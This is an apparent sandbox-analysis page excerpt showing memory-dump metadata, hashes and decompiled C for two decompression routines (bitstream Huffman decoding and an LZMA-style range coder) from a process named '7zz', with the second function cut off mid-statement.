0x004573e1
0x004573e2
0x004573e6
0x004573e6
0x004572af
0x004573f0
0x00457400
0x00457407
0x0045740e
0x00457416
0x0045741e
0x00457426
0x00457429
0x00457432
0x00000000
0x00457447
0x00457453

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32689895d184e7f7d0c8efe2be480a3565db7d92c53ad8a2ab611800512ab1f1
Instruction ID: 934345be54fcedd299f3ac20b6580096092592092bafc23d7fab85bf8debc7cd
Opcode Fuzzy Hash: 32689895d184e7f7d0c8efe2be480a3565db7d92c53ad8a2ab611800512ab1f1
Instruction Fuzzy Hash: 24425A72A087058FC718CF1AC48055AF7E2BFCC314F5A896EE89997351DB74E90ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 004514F0 Relevance: .6, Instructions: 565
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E004514F0(void* __ecx) {
				signed int _t218;
				void* _t223;
				signed int _t224;
				signed int _t225;
				signed int _t226;
				signed int _t229;
				signed int _t232;
				signed int _t233;
				signed int _t235;
				void* _t238;
				signed int _t239;
				void* _t243;
				signed int _t262;
				signed int _t263;
				signed int _t264;
				signed int _t273;
				signed int _t274;
				char _t282;
				void* _t288;
				intOrPtr _t298;
				signed int _t301;
				signed int _t303;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t317;
				signed int _t318;
				signed int _t320;
				signed int _t322;
				signed int _t323;
				signed int _t325;
				signed int _t330;
				signed int _t332;
				signed int _t338;
				signed int _t351;
				signed int _t361;
				signed int _t370;
				intOrPtr _t371;
				signed int _t379;
				void* _t383;
				signed int _t394;
				void* _t396;
				signed int _t403;
				intOrPtr _t405;
				signed int _t406;
				signed int _t407;
				intOrPtr* _t412;
				signed int _t425;
				intOrPtr _t430;
				signed int _t431;
				signed int _t437;
				signed int _t449;
				intOrPtr _t455;
				intOrPtr _t466;
				signed int* _t473;
				unsigned int _t477;
				signed int _t480;
				signed int _t485;
				signed int _t489;
				unsigned int _t493;
				signed int _t496;
				intOrPtr _t497;
				unsigned int _t501;
				signed int _t504;
				intOrPtr _t505;
				intOrPtr _t508;
				intOrPtr _t511;
				signed int _t513;
				signed int _t514;
				signed int* _t515;
				intOrPtr* _t516;
				signed int _t517;
				signed int* _t518;
				signed int _t519;
				void* _t522;
				void* _t523;

				_t522 = __ecx;
				if( *(__ecx + 0x1cbc) == 0xfffffffe) {
					_t518 = __ecx + 8;
					 *(__ecx + 0x1cbc) = 0;
					E0040DFF3(_t518);
					_t518[9] = 0x20;
					if( *((intOrPtr*)(__ecx + 0x1cb8)) == 0 ||  *((intOrPtr*)(__ecx + 0x68)) == 0) {
						if(_t518[9] >= 0x10) {
							do {
								_t303 =  *_t518;
								if(_t303 < _t518[1]) {
									_t304 = _t303 + 1;
									__eflags = _t304;
									 *(_t523 + 0x14) =  *_t303;
									 *_t518 = _t304;
								} else {
									 *(_t523 + 0x14) = E0040E070(_t518);
								}
								_t305 =  *_t518;
								if(_t305 < _t518[1]) {
									_t306 = _t305 + 1;
									__eflags = _t306;
									 *(_t523 + 0x18) =  *_t305;
									 *_t518 = _t306;
								} else {
									 *(_t523 + 0x18) = E0040E070(_t518);
								}
								_t425 = _t518[9] + 0xfffffff0;
								_t518[9] = _t425;
								_t518[8] = (_t518[8] << 0x00000008 |  *(_t523 + 0x18) & 0x000000ff) << 0x00000008 |  *(_t523 + 0x14) & 0x000000ff;
							} while (_t425 >= 0x10);
						}
					}
					if( *((intOrPtr*)(_t522 + 0x1cb8)) == 0) {
						 *((char*)(_t522 + 0x1cc0)) = 0;
						 *(_t522 + 0x1cb4) = 0;
						E004514C0(_t522);
						_t519 = 0xb71b00;
						_t330 = 1;
						if( *((intOrPtr*)(_t522 + 0x1cc1)) == 0) {
							_t330 = 0 | E00450B20(1) != 0x00000000;
							if(1 != 0) {
								_t301 = E00450B20(0x10);
								_t519 = _t301 << 0x00000010 | E00450B20(0x10);
							}
						}
						_t298 =  *((intOrPtr*)(_t522 + 0x1cac));
						 *(_t298 + 0x18) = _t330;
						 *(_t298 + 0x14) = _t519;
						 *((intOrPtr*)(_t298 + 0xc)) = 0;
						 *((intOrPtr*)(_t298 + 0x10)) = 0;
						 *(_t522 + 0x58) = 0;
						 *(_t522 + 0x5c) = 0;
						 *(_t522 + 0x60) = 0;
					}
				}
				if( *(_t522 + 0x1cbc) <= 0) {
					_t514 =  *(_t523 + 0x40);
					goto L25;
				} else {
					while(1) {
						_t517 =  *(_t523 + 0x40);
						if(_t517 <= 0) {
							break;
						}
						_t412 = _t522 + 0x30;
						_t288 =  *((intOrPtr*)(_t522 + 0x34)) -  *(_t522 + 0x58) - 1;
						_t466 =  *((intOrPtr*)(_t412 + 0x10));
						if(_t288 >= _t466) {
							_t288 = _t288 + _t466;
						}
						 *((char*)( *((intOrPtr*)(_t412 + 4)) +  *_t412)) =  *((intOrPtr*)(_t288 +  *_t412));
						_t511 =  *((intOrPtr*)(_t412 + 4)) + 1;
						 *((intOrPtr*)(_t412 + 4)) = _t511;
						_t541 = _t511 -  *((intOrPtr*)(_t412 + 8));
						if(_t511 ==  *((intOrPtr*)(_t412 + 8))) {
							E0040EFBD(_t412, _t541);
						}
						_t513 =  *(_t522 + 0x1cbc) - 1;
						_t514 = _t517 - 1;
						 *(_t522 + 0x1cbc) = _t513;
						 *(_t523 + 0x40) = _t514;
						if(_t513 > 0) {
							continue;
						} else {
							L25:
							if(_t514 <= 0) {
								break;
							} else {
								while( *(_t522 + 0x1cb4) != 0 || E00451050(_t522) != 0) {
									_t218 =  *(_t522 + 0x1cb4);
									_t332 = _t218;
									if(_t218 >= _t514) {
										_t332 = _t514;
									}
									_t514 = _t514 - _t332;
									 *(_t522 + 0x1cb4) = _t218 - _t332;
									 *(_t523 + 0x10) = _t332;
									 *(_t523 + 0x40) = _t514;
									if( *((intOrPtr*)(_t522 + 0x68)) == 0) {
										__eflags = _t332;
										if(_t332 <= 0) {
											goto L99;
										} else {
											_t515 = _t522 + 8;
											do {
												_t477 = _t515[8] >> 0x0000000f - _t515[9] >> 0x00000001 & 0x0000ffff;
												__eflags = _t477 -  *((intOrPtr*)(_t522 + 0x90));
												if(_t477 >=  *((intOrPtr*)(_t522 + 0x90))) {
													_t223 = _t522 + 0x94;
													__eflags = _t477 -  *((intOrPtr*)(_t522 + 0x94));
													_t318 = 0xa;
													if(_t477 >=  *((intOrPtr*)(_t522 + 0x94))) {
														do {
															_t405 =  *((intOrPtr*)(_t223 + 4));
															_t223 = _t223 + 4;
															_t318 = _t318 + 1;
															__eflags = _t477 - _t405;
														} while (_t477 >= _t405);
													}
												} else {
													_t318 =  *((intOrPtr*)((_t477 >> 7) + _t522 + 0xb34));
												}
												_t338 = _t515[9] + _t318;
												_t224 = _t338;
												_t515[9] = _t338;
												__eflags = _t224 - 0x10;
												while(_t224 >= 0x10) {
													_t273 =  *_t515;
													__eflags = _t273 - _t515[1];
													if(_t273 < _t515[1]) {
														_t274 = _t273 + 1;
														__eflags = _t274;
														 *(_t523 + 0x1c) =  *_t273;
														 *_t515 = _t274;
													} else {
														 *(_t523 + 0x1c) = E0040E070(_t515);
													}
													 *(_t523 + 0x24) = E00451BF0(_t515);
													_t403 = _t515[9] + 0xfffffff0;
													_t515[8] = (_t515[8] << 0x00000008 |  *(_t523 + 0x24) & 0x000000ff) << 0x00000008 |  *(_t523 + 0x1c) & 0x000000ff;
													_t224 = _t403;
													_t515[9] = _t403;
													__eflags = _t224 - 0x10;
												}
												_t480 = (_t477 -  *((intOrPtr*)(_t522 + 0x68 + _t318 * 4)) >> 0x10 - _t318) +  *((intOrPtr*)(_t522 + 0xb0 + _t318 * 4));
												__eflags = _t480 - 0x290;
												if(_t480 < 0x290) {
													_t225 =  *(_t522 + 0xf4 + _t480 * 4);
													__eflags = _t225 - 0x100;
													if(_t225 >= 0x100) {
														goto L53;
													} else {
														_t396 = _t522 + 0x30;
														 *( *((intOrPtr*)(_t522 + 0x30)) +  *((intOrPtr*)(_t522 + 0x34))) = _t225;
														_t508 =  *((intOrPtr*)(_t396 + 4)) + 1;
														 *((intOrPtr*)(_t396 + 4)) = _t508;
														__eflags = _t508 -  *((intOrPtr*)(_t396 + 8));
														if(__eflags == 0) {
															E0040EFBD(_t396, __eflags);
														}
														 *(_t523 + 0x10) =  *(_t523 + 0x10) - 1;
														goto L97;
													}
												} else {
													_t225 = _t224 | 0xffffffff;
													__eflags = _t225;
													L53:
													_t226 = _t225 + 0xffffff00;
													__eflags = _t226 -  *((intOrPtr*)(_t522 + 0x64));
													if(_t226 >=  *((intOrPtr*)(_t522 + 0x64))) {
														goto L101;
													} else {
														_t228 = _t226 & 0x00000007;
														_t320 = _t226 >> 3;
														_t92 = _t228 + 2; // -4290437306
														__eflags = (_t226 & 0x00000007) - 7;
														 *(_t523 + 0x14) = _t92;
														if((_t226 & 0x00000007) != 7) {
															L73:
															__eflags = _t320 - 3;
															if(_t320 >= 3) {
																__eflags = _t320 - 0x26;
																if(_t320 >= 0x26) {
																	_t229 = 0x11;
																	_t322 = _t320 + 0x7fde << 0x11;
																	__eflags = _t322;
																} else {
																	_t229 = (_t320 >> 1) - 1;
																	_t322 = (_t320 & 0x00000001 | 0x00000002) << _t229;
																}
																__eflags =  *(_t522 + 0x69);
																if( *(_t522 + 0x69) == 0) {
																	L91:
																	_t431 = _t515[9];
																	_t515[9] = _t431 + _t229;
																	E00450FC0(_t515);
																	_t323 = _t322 + ((_t515[8] >> 0x0000000f - _t431 & 0x0001ffff) >> 0x11 - _t229);
																	__eflags = _t323;
																	 *(_t523 + 0x18) = _t323;
																	goto L92;
																} else {
																	__eflags = _t229 - 3;
																	if(_t229 < 3) {
																		goto L91;
																	} else {
																		_t437 = _t515[9];
																		_t238 = _t229 + 0xfffffffd;
																		_t239 = _t238 + _t437;
																		_t515[9] = _t239;
																		_t489 = (_t515[8] >> 0x0000000f - _t437 & 0x0001ffff) >> 0x11 - _t238;
																		__eflags = _t239 - 0x10;
																		if(_t239 >= 0x10) {
																			do {
																				 *(_t523 + 0x30) = E00451BF0(_t515);
																				 *(_t523 + 0x2c) = E00451BF0(_t515);
																				_t379 = _t515[9] + 0xfffffff0;
																				_t515[8] = (_t515[8] << 0x00000008 |  *(_t523 + 0x2c) & 0x000000ff) << 0x00000008 |  *(_t523 + 0x30) & 0x000000ff;
																				__eflags = _t379 - 0x10;
																				_t515[9] = _t379;
																			} while (_t379 >= 0x10);
																		}
																		 *(_t523 + 0x18) = _t322 + _t489 * 8;
																		_t493 = _t515[8] >> 0x0000000f - _t515[9] >> 0x00000001 & 0x0000ffff;
																		__eflags = _t493 -  *((intOrPtr*)(_t522 + 0x13c4));
																		if(_t493 >=  *((intOrPtr*)(_t522 + 0x13c4))) {
																			_t243 = _t522 + 0x13c8;
																			__eflags = _t493 -  *((intOrPtr*)(_t522 + 0x13c8));
																			_t325 = 0xa;
																			if(_t493 >=  *((intOrPtr*)(_t522 + 0x13c8))) {
																				do {
																					_t371 =  *((intOrPtr*)(_t243 + 4));
																					_t243 = _t243 + 4;
																					_t325 = _t325 + 1;
																					__eflags = _t493 - _t371;
																				} while (_t493 >= _t371);
																			}
																		} else {
																			_t325 =  *((intOrPtr*)((_t493 >> 7) + _t522 + 0x1448));
																		}
																		_t361 = _t515[9] + _t325;
																		_t515[9] = _t361;
																		__eflags = _t361 - 0x10;
																		if(_t361 >= 0x10) {
																			do {
																				 *(_t523 + 0x38) = E00451BF0(_t515);
																				 *(_t523 + 0x34) = E00451BF0(_t515);
																				_t370 = _t515[9] + 0xfffffff0;
																				_t515[8] = (_t515[8] << 0x00000008 |  *(_t523 + 0x34) & 0x000000ff) << 0x00000008 |  *(_t523 + 0x38) & 0x000000ff;
																				_t515[9] = _t370;
																				__eflags = _t370 - 0x10;
																			} while (_t370 >= 0x10);
																		}
																		_t496 = (_t493 -  *((intOrPtr*)(_t522 + 0x139c + _t325 * 4)) >> 0x10 - _t325) +  *((intOrPtr*)(_t522 + 0x13e4 + _t325 * 4));
																		__eflags = _t496 - 8;
																		if(_t496 >= 8) {
																			goto L101;
																		} else {
																			_t497 =  *((intOrPtr*)(_t522 + 0x1428 + _t496 * 4));
																			__eflags = _t497 - 8;
																			if(_t497 >= 8) {
																				goto L101;
																			} else {
																				 *(_t523 + 0x18) =  *(_t523 + 0x18) + _t497;
																				L92:
																				_t351 =  *(_t523 + 0x18) + 0xfffffffd;
																				__eflags = _t351;
																				 *(_t522 + 0x60) =  *(_t522 + 0x5c);
																				 *(_t522 + 0x5c) =  *(_t522 + 0x58);
																				 *(_t522 + 0x58) = _t351;
																				goto L93;
																			}
																		}
																	}
																}
															} else {
																 *(_t522 + 0x58 + _t320 * 4) =  *(_t522 + 0x58);
																 *(_t522 + 0x58) =  *(_t522 + 0x58 + _t320 * 4);
																L93:
																_t485 =  *(_t523 + 0x14);
																_t232 =  *(_t523 + 0x10);
																__eflags = _t485 - _t232;
																if(_t485 > _t232) {
																	_t485 = _t232;
																}
																_push(_t485);
																_push( *(_t522 + 0x58));
																_t233 = E0044ADB0(_t522 + 0x30);
																__eflags = _t233;
																if(_t233 == 0) {
																	goto L101;
																} else {
																	_t235 =  *(_t523 + 0x14) - _t485;
																	__eflags = _t235;
																	 *(_t523 + 0x14) = _t235;
																	 *(_t523 + 0x10) =  *(_t523 + 0x10) - _t485;
																	if(_t235 != 0) {
																		 *(_t522 + 0x1cbc) =  *(_t523 + 0x14);
																		goto L103;
																	} else {
																		goto L97;
																	}
																}
															}
														} else {
															_t501 = _t515[8] >> 0x0000000f - _t515[9] >> 0x00000001 & 0x0000ffff;
															__eflags = _t501 -  *((intOrPtr*)(_t522 + 0xd58));
															if(_t501 >=  *((intOrPtr*)(_t522 + 0xd58))) {
																_t383 = _t522 + 0xd5c;
																_t262 = 0xa;
																__eflags = _t501 -  *((intOrPtr*)(_t522 + 0xd5c));
																 *(_t523 + 0x18) = 0xa;
																if(_t501 >=  *((intOrPtr*)(_t522 + 0xd5c))) {
																	do {
																		_t455 =  *((intOrPtr*)(_t383 + 4));
																		_t383 = _t383 + 4;
																		_t262 = _t262 + 1;
																		__eflags = _t501 - _t455;
																	} while (_t501 >= _t455);
																	goto L63;
																}
															} else {
																_t262 =  *((intOrPtr*)((_t501 >> 7) + _t522 + 0x11a0));
																L63:
																 *(_t523 + 0x18) = _t262;
															}
															_t449 = _t515[9] + _t262;
															_t515[9] = _t449;
															__eflags = _t449 - 0x10;
															if(_t449 >= 0x10) {
																do {
																	_t263 =  *_t515;
																	__eflags = _t263 - _t515[1];
																	if(_t263 < _t515[1]) {
																		_t264 = _t263 + 1;
																		__eflags = _t264;
																		 *(_t523 + 0x20) =  *_t263;
																		 *_t515 = _t264;
																	} else {
																		 *(_t523 + 0x20) = E0040E070(_t515);
																	}
																	 *(_t523 + 0x28) = E00451BF0(_t515);
																	_t394 = _t515[9] + 0xfffffff0;
																	_t515[8] = (_t515[8] << 0x00000008 |  *(_t523 + 0x28) & 0x000000ff) << 0x00000008 |  *(_t523 + 0x20) & 0x000000ff;
																	_t515[9] = _t394;
																	__eflags = _t394 - 0x10;
																} while (_t394 >= 0x10);
																_t262 =  *(_t523 + 0x18);
															}
															_t504 = (_t501 -  *((intOrPtr*)(_t522 + 0xd30 + _t262 * 4)) >> 0x10 - _t262) +  *((intOrPtr*)(_t522 + 0xd78 + _t262 * 4));
															__eflags = _t504 - 0xf9;
															if(_t504 >= 0xf9) {
																goto L101;
															} else {
																_t505 =  *((intOrPtr*)(_t522 + 0xdbc + _t504 * 4));
																__eflags = _t505 - 0xf9;
																if(_t505 >= 0xf9) {
																	goto L101;
																} else {
																	_t138 = _t523 + 0x14;
																	 *_t138 =  *(_t523 + 0x14) + _t505;
																	__eflags =  *_t138;
																	goto L73;
																}
															}
														}
													}
												}
												goto L104;
												L97:
												__eflags =  *(_t523 + 0x10);
											} while ( *(_t523 + 0x10) > 0);
											goto L98;
										}
									} else {
										if(_t332 > 0) {
											_t473 = _t522 + 8;
											_t516 = _t522 + 0x30;
											_t317 = _t332;
											do {
												_t406 =  *_t473;
												if(_t406 < _t473[1]) {
													_t282 =  *_t406;
													_t407 = _t406 + 1;
													__eflags = _t407;
													 *_t473 = _t407;
												} else {
													_t282 = E0040E070(_t473);
												}
												 *((char*)( *_t516 +  *((intOrPtr*)(_t516 + 4)))) = _t282;
												_t430 =  *((intOrPtr*)(_t516 + 4)) + 1;
												 *((intOrPtr*)(_t516 + 4)) = _t430;
												_t550 = _t430 -  *((intOrPtr*)(_t516 + 8));
												if(_t430 ==  *((intOrPtr*)(_t516 + 8))) {
													E0040EFBD(_t516, _t550);
												}
												_t317 = _t317 - 1;
											} while (_t317 != 0);
											L98:
											_t514 =  *(_t523 + 0x40);
										}
										L99:
										if(_t514 <= 0) {
											goto L103;
										} else {
											continue;
										}
									}
									goto L104;
								}
								L101:
								return 1;
							}
						}
						goto L104;
					}
					L103:
					__eflags = 0;
					return 0;
				}
				L104:
			}

0x004514f5
0x0045150c
0x00451512
0x00451515
0x00451521
0x00451526
0x00451535
0x00451541
0x00451543
0x00451543
0x0045154a
0x0045155b
0x0045155b
0x0045155c
0x00451560
0x0045154c
0x00451553
0x00451553
0x00451562
0x00451569
0x0045157a
0x0045157a
0x0045157b
0x0045157f
0x0045156b
0x00451572
0x00451572
0x004515a3
0x004515a7
0x004515aa
0x004515af
0x00451543
0x00451541
0x004515bb
0x004515bf
0x004515c6
0x004515d0
0x004515db
0x004515e2
0x004515e4
0x004515f1
0x004515f6
0x004515fb
0x0045160d
0x0045160d
0x004515f6
0x0045160f
0x00451617
0x0045161a
0x0045161d
0x00451620
0x00451625
0x00451628
0x0045162b
0x0045162b
0x004515bb
0x00451636
0x00451695
0x00000000
0x00451638
0x00451638
0x00451638
0x0045163e
0x00000000
0x00000000
0x0045164a
0x0045164f
0x00451650
0x00451655
0x00451657
0x00451657
0x00451663
0x0045166c
0x0045166f
0x00451672
0x00451674
0x00451676
0x00451676
0x00451681
0x00451682
0x00451685
0x0045168d
0x00451691
0x00000000
0x00451693
0x00451699
0x0045169b
0x00000000
0x004516a1
0x004516a1
0x004516ba
0x004516c2
0x004516c4
0x004516c6
0x004516c6
0x004516ca
0x004516cc
0x004516d7
0x004516db
0x004516df
0x0045172f
0x00451731
0x00000000
0x00451737
0x00451737
0x0045173a
0x00451751
0x00451757
0x00451759
0x00451771
0x00451777
0x00451779
0x0045177e
0x00451780
0x00451780
0x00451783
0x00451786
0x00451787
0x00451787
0x00451780
0x0045175b
0x00451762
0x00451762
0x0045178e
0x00451790
0x00451792
0x00451795
0x00451798
0x0045179a
0x0045179f
0x004517a1
0x004517b2
0x004517b2
0x004517b3
0x004517b7
0x004517a3
0x004517aa
0x004517aa
0x004517c7
0x004517e7
0x004517ea
0x004517ed
0x004517ef
0x004517f2
0x004517f2
0x00451806
0x0045180d
0x00451813
0x00451871
0x00451878
0x0045187d
0x00000000
0x0045187f
0x00451885
0x00451888
0x00451891
0x00451894
0x00451897
0x00451899
0x0045189b
0x0045189b
0x004518a0
0x00000000
0x004518a0
0x00451815
0x00451815
0x00451815
0x00451818
0x0045181b
0x00451820
0x00451822
0x00000000
0x00451828
0x0045182a
0x0045182d
0x00451830
0x00451833
0x00451836
0x0045183a
0x0045197d
0x0045197d
0x00451980
0x00451995
0x00451998
0x004519b1
0x004519b6
0x004519b6
0x0045199a
0x004519a1
0x004519a7
0x004519a7
0x004519bc
0x004519be
0x00451b2a
0x00451b2a
0x00451b40
0x00451b4f
0x00451b54
0x00451b54
0x00451b56
0x00000000
0x004519c4
0x004519c4
0x004519c7
0x00000000
0x004519cd
0x004519cd
0x004519d8
0x004519e6
0x004519e8
0x004519f1
0x004519f3
0x004519f6
0x004519f8
0x00451a01
0x00451a0e
0x00451a32
0x00451a35
0x00451a3a
0x00451a3d
0x00451a3d
0x004519f8
0x00451a48
0x00451a60
0x00451a66
0x00451a68
0x00451a80
0x00451a86
0x00451a88
0x00451a8d
0x00451a8f
0x00451a8f
0x00451a92
0x00451a95
0x00451a96
0x00451a96
0x00451a8f
0x00451a6a
0x00451a71
0x00451a71
0x00451a9d
0x00451aa1
0x00451aa4
0x00451aa7
0x00451aa9
0x00451ab2
0x00451ac2
0x00451ae2
0x00451ae5
0x00451aea
0x00451aed
0x00451aed
0x00451aa9
0x00451b04
0x00451b0b
0x00451b0e
0x00000000
0x00451b14
0x00451b14
0x00451b1b
0x00451b1e
0x00000000
0x00451b24
0x00451b24
0x00451b5a
0x00451b64
0x00451b64
0x00451b67
0x00451b6a
0x00451b6d
0x00000000
0x00451b6d
0x00451b1e
0x00451b0e
0x004519c7
0x00451982
0x00451989
0x0045198d
0x00451b70
0x00451b70
0x00451b74
0x00451b78
0x00451b7a
0x00451b7c
0x00451b7c
0x00451b81
0x00451b82
0x00451b86
0x00451b8b
0x00451b8d
0x00000000
0x00451b8f
0x00451b97
0x00451b9b
0x00451b9d
0x00451ba1
0x00451ba5
0x00451bd3
0x00000000
0x00000000
0x00000000
0x00000000
0x00451ba5
0x00451b8d
0x00451840
0x00451857
0x0045185d
0x0045185f
0x004518af
0x004518b5
0x004518ba
0x004518bc
0x004518c0
0x004518c2
0x004518c2
0x004518c5
0x004518c8
0x004518c9
0x004518c9
0x00000000
0x004518c2
0x00451861
0x00451868
0x004518cd
0x004518cd
0x004518cd
0x004518d4
0x004518d8
0x004518db
0x004518de
0x004518e0
0x004518e0
0x004518e5
0x004518e7
0x004518f8
0x004518f8
0x004518f9
0x004518fd
0x004518e9
0x004518f0
0x004518f0
0x0045190d
0x0045192d
0x00451930
0x00451935
0x00451938
0x00451938
0x0045193d
0x0045193d
0x00451953
0x0045195a
0x00451960
0x00000000
0x00451966
0x00451966
0x0045196d
0x00451973
0x00000000
0x00451979
0x00451979
0x00451979
0x00451979
0x00000000
0x00451979
0x00451973
0x00451960
0x0045183a
0x00451822
0x00000000
0x00451ba7
0x00451bab
0x00451bab
0x00000000
0x0045173a
0x004516e1
0x004516e3
0x004516e9
0x004516ec
0x004516ef
0x004516f1
0x004516f1
0x004516f8
0x00451703
0x00451705
0x00451705
0x00451706
0x004516fa
0x004516fc
0x004516fc
0x0045170d
0x00451716
0x00451719
0x0045171c
0x0045171e
0x00451722
0x00451722
0x00451727
0x00451727
0x00451bb3
0x00451bb3
0x00451bb3
0x00451bb7
0x00451bb9
0x00000000
0x00451bbb
0x00000000
0x00451bbb
0x00451bb9
0x00000000
0x004516df
0x00451bc3
0x00451bcc
0x00451bcc
0x0045169b
0x00000000
0x00451691
0x00451bdc
0x00451bdc
0x00451be2
0x00451be2
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9465c887767747944f02be8cd1883d1280c098b0c5e3f404be3679971bfc79
Instruction ID: 56e6f142235e9d3d76dd4b9a838b0ae8b43fc399745457aca84a280bb1d57964
Opcode Fuzzy Hash: cf9465c887767747944f02be8cd1883d1280c098b0c5e3f404be3679971bfc79
Instruction Fuzzy Hash: 3E22C9317046458FC728CF2DC5907AA77E2AFC5305F144A2EE89AC7792D738E849CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00461EF0 Relevance: .6, Instructions: 556
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E00461EF0() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t294;
				intOrPtr _t295;
				signed int _t296;
				signed int _t300;
				unsigned int _t304;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				unsigned int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t324;
				signed int _t327;
				void* _t329;
				void* _t338;
				signed int _t351;
				unsigned int _t353;
				signed int _t355;
				signed int _t356;
				unsigned int _t358;
				signed int _t360;
				unsigned int _t362;
				signed int _t364;
				signed int _t374;
				signed int _t376;
				signed int _t377;
				signed int _t380;
				signed int _t382;
				signed int _t383;
				signed int _t388;
				signed int _t390;
				signed int _t392;
				signed int _t394;
				signed int _t395;
				intOrPtr* _t398;
				signed int _t405;
				signed int _t407;
				signed int _t410;
				signed int _t411;
				signed int _t417;
				void* _t422;
				signed int _t425;
				signed int _t428;
				signed int _t438;
				signed int _t449;
				signed int _t452;
				signed int* _t459;
				signed int _t474;
				signed int _t479;
				signed int _t484;
				signed int _t500;
				unsigned int _t508;
				signed int _t510;
				signed int _t525;
				void* _t537;
				signed int _t539;
				unsigned int _t550;
				unsigned int _t553;
				unsigned int _t555;
				signed int _t562;
				signed int _t570;
				signed int _t589;
				signed short* _t604;
				unsigned int _t605;
				signed int* _t606;
				signed short* _t612;
				signed short* _t613;
				signed int* _t622;
				intOrPtr* _t624;
				void* _t625;

				_t624 =  *((intOrPtr*)(_t625 + 0x1c));
				if( *((intOrPtr*)(_t624 + 0x3bd10)) != 0) {
					 *((intOrPtr*)( *_t624))();
					 *((intOrPtr*)(_t624 + 0x3bd10)) = 0;
				}
				_t294 =  *((intOrPtr*)(_t624 + 0x3bd04));
				if( *((intOrPtr*)(_t624 + 0x3bcfc)) != 0 || _t294 != 0) {
					return _t294;
				} else {
					if( *((intOrPtr*)(_t624 + 0x3bce0)) != _t294) {
						 *((intOrPtr*)(_t624 + 0x3bd04)) = 9;
					}
					if( *((intOrPtr*)(_t624 + 0x208)) != 0) {
						 *((intOrPtr*)(_t624 + 0x3bd04)) = 8;
					}
					_t295 =  *((intOrPtr*)(_t624 + 0x3bd04));
					if(_t295 == 0) {
						_t589 =  *(_t624 + 0x3bcf0);
						__eflags = _t589 |  *(_t624 + 0x3bcf4);
						 *(_t625 + 0x10) = _t589;
						 *(_t625 + 0x18) = _t589;
						if((_t589 |  *(_t624 + 0x3bcf4)) != 0) {
							L16:
							_t296 =  *( *(_t624 + 8))(_t422);
							__eflags = _t296;
							if(_t296 == 0) {
								L82:
								_t288 = _t624 + 0x3bcf0;
								 *_t288 =  *(_t624 + 0x3bcf0) + _t589 -  *((intOrPtr*)(_t625 + 0x1c));
								__eflags =  *_t288;
								asm("adc dword [ebp+0x3bcf4], 0x0");
								return E00461A80(_t624, _t589);
							}
							while(1) {
								__eflags =  *(_t624 + 0x3bca8);
								if( *(_t624 + 0x3bca8) == 0) {
									_push(_t625 + 0x10);
									_push(_t589);
									_push(_t624);
									_t300 = E004602E0();
								} else {
									_push(_t625 + 0x10);
									_t300 = E004615B0(_t624);
								}
								_t425 =  *(_t624 + 0x325a8) &  *(_t625 + 0x14);
								 *(_t625 + 0x18) = _t300;
								 *(_t625 + 0x28) = _t425;
								__eflags = _t300 - 1;
								if(_t300 != 1) {
									goto L30;
								}
								__eflags =  *(_t625 + 0x10) - 0xffffffff;
								if( *(_t625 + 0x10) != 0xffffffff) {
									goto L30;
								} else {
									_t525 = ( *(_t624 + 0x3194c) << 4) + _t425;
									_t394 =  *(_t624 + 0x325b0 + _t525 * 2) & 0x0000ffff;
									_t606 = _t624 + 0x3bcb0;
									 *_t606 = ( *(_t624 + 0x3bcb0) >> 0xb) * _t394;
									 *(_t624 + 0x325b0 + _t525 * 2) = (0x800 - _t394 >> 5) + _t394;
									_t395 =  *_t606;
									__eflags = _t395 - 0x1000000;
									if(_t395 < 0x1000000) {
										_t405 = _t395 << 8;
										__eflags = _t405;
										 *_t606 = _t405;
										L0045F780(_t606);
									}
									_t398 =  *((intOrPtr*)( *((intOrPtr*)(_t624 + 0xc))))() -  *(_t624 + 0x31938);
									 *(_t625 + 0x28) =  *_t398;
									_t459 = _t606;
									_t537 = ((( *(_t398 - 1) & 0x000000ff) >> 8 -  *(_t624 + 0x32598)) + (( *(_t624 + 0x325a4) &  *(_t625 + 0x14)) <<  *(_t624 + 0x32598))) * 0x600 +  *((intOrPtr*)(_t624 + 0x325ac));
